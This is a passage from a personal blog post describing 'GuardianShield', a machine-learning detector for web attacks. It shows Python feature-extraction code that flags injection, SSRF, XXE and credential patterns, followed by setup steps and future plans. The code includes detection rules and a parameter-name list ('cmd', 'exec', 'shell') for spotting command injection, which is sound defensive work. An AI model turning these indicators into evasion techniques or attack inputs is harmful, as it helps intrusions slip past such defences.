                'num_digits': sum(c.isdigit() for c in content),
                'num_uppercase': sum(c.isupper() for c in content),
                'sensitive_path_access':
int(bool(re.search(OWASPFeatureExtractor.SENSITIVE_PATHS, request_url,
re.IGNORECASE))),
                'admin_path_access':
int(bool(re.search(OWASPFeatureExtractor.ADMIN_KEYWORDS, request_url,
re.IGNORECASE))),
                'num_directory_levels': request_url.count('/'),
                'has_encrypted_content': int('https://' in request_url.lower()),
                'ssl_protocol_indicators': int('ssl' in content_lower or 'tls' in
content_lower),
                'weak_cipher_indicators':
int(bool(re.search(OWASPFeatureExtractor.WEAK_CIPHER_INDICATORS, content_lower,
re.IGNORECASE))),
                'contains_command_injection': sum(1 for _ in
re.finditer(OWASPFeatureExtractor.COMMAND_INJECTION, content_lower,
re.IGNORECASE)),
                'contains_ldap_injection': sum(1 for _ in
re.finditer(OWASPFeatureExtractor.LDAP_INJECTION, content_lower, re.IGNORECASE)),
                'contains_xxe_patterns':
int(bool(re.search(OWASPFeatureExtractor.XXE_PATTERNS, content_lower,
re.IGNORECASE))),
                'unusual_headers': sum(1 for h in request.headers if
h.lower().startswith('x-')),
                'suspicious_content_types': int(content_type not in
['application/json', 'application/xml', 'text/plain', 'application/x-www-form-
urlencoded']),
                'auth_related_paths':
```

```
int(bool(re.search(OWASPFeatureExtractor.AUTH_PATHS, request_url,
re.IGNORECASE))),
                'credential_like_patterns':
int(bool(re.search(OWASPFeatureExtractor.CREDENTIAL_PATTERNS, content_lower,
re.IGNORECASE))),
                'bruteforce_indicators': int('bot' in user_agent.lower() or
len(query_params) > 10),
                'contains_serialized_data':
int(bool(re.search(OWASPFeatureExtractor.SERIALIZATION_PATTERNS, content_lower,
re.IGNORECASE))),
                'deserialization_indicators': int('serialized' in content_lower or
'deserialize' in content_lower),
                'contains_ssrf_patterns':
int(bool(re.search(OWASPFeatureExtractor.SSRF_PATTERNS, content_lower,
re.IGNORECASE))),
                'internal_ip_indicators':
int(bool(re.search(OWASPFeatureExtractor.INTERNAL_IP, content_lower,
re.IGNORECASE))),
                'localhost_references': int('localhost' in content_lower or
'127.0.0.1' in content_lower),
                'parameter_count': len(query_params),
                'unusual_parameter_names': int(any(k.lower() in ['cmd', 'exec',
'shell', 'inject'] for k in query_params.keys())),
                'injection_pattern_score': 0
            }
            features['injection_pattern_score'] = min(
                features['contains_sql_keywords'] * 3 +
                features['contains_xss_patterns'] * 2 +
                features['contains_command_injection'] * 4 +
                features['contains_ldap_injection'] * 2 +
                features['contains_xxe_patterns'] * 2,
                10
            )
            return {k: float(v) for k, v in features.items()}
        except Exception as e:
            print(f"Feature extraction error: {e}")
            return {k: 0.0 for k in [
                'url_length', 'num_special_chars', 'contains_sql_keywords',
'contains_xss_patterns',
                'contains_path_traversal', 'request_length', 'request_time',
'is_get_method',
                'is_post_method', 'ua_length', 'is_common_browser',
'content_entropy', 'num_digits',
                'num_uppercase', 'sensitive_path_access', 'admin_path_access',
'num_directory_levels',
                'has_encrypted_content', 'ssl_protocol_indicators',
'weak_cipher_indicators',
                'contains_command_injection', 'contains_ldap_injection',
'contains_xxe_patterns',
                'unusual_headers', 'suspicious_content_types',
'auth_related_paths',
                'credential_like_patterns', 'bruteforce_indicators',
'contains_serialized_data',
                'deserialization_indicators', 'contains_ssrf_patterns',
```

```
    'internal_ip_indicators',
                    'localhost_references', 'parameter_count',
    'unusual_parameter_names',
                    'injection_pattern_score'
                ]}

    def extract_features_from_request(request, body: str = '') -> Dict[str, float]:
        return OWASPFeatureExtractor.extract_features_from_request(request, body)
```

As it is writen in the script, the feature architecure corely anlyse the every possible variation of payload. It is builde under that according to the datasets.

Getting It Live

I am thinking of using docker, But i tried using docker however since the docker system required large space on windows it was often prepelling issues then i decided to first test everything localy with the server. That means, I am not yet done I amight continue to expand this amazing project but it was amazing to record or write the steps that has been done so far.

What's Next?

I'm pumped to keep improving GuardianShield. Here's my plan:

- **Upgrade the Dashboard**: Add Streamlit for a slick, real-time view.
- **Add MySQL Later**: I've held off on database logging for now, but I'll integrate it to store false positives/negatives.
- **More Features**: Maybe add LLM analysis with Hugging Face or detect new threats like SSRF.
- **Community Feedback**: I'd love to share this and get input from others—maybe even open-source it!

How to Get Started

Want to try it yourself? Here's what you need:

- Clone my GitHub repo (once it's up!).
- Install dependencies with `pip install -r requirements.txt` (includes FastAPI, XGBoost, etc.).
- Run `train_model.py` to build the model.
- Start the server with `uvicorn main:app --host 0.0.0.0 --port 8000`.
- Test with `curl -X POST http://localhost:8000/analyze -d "search=OpenAI"`.

A Personal Note

This project is more than code to me—it's a chance to learn and protect. I've poured hours into it, from tweaking the model to debugging with `curl` at midnight. Seeing it block a malicious request feels like a win every time. Thanks for reading my story—I hope GuardianShield inspires you to build something cool too!

References

[1] Dataset*1: _WebApplication_payloads*, url:*https://github.com/swisskyrepo/PayloadsAllTheThings*
[2] Dataset*2: _CIC-2010_WebApplication_Attacks*, url:*https://www.kaggle.com/datasets/ispangler/csic-2010-web-application-attacks*

Cheers,

Thierry Mukiza
September 29, 2025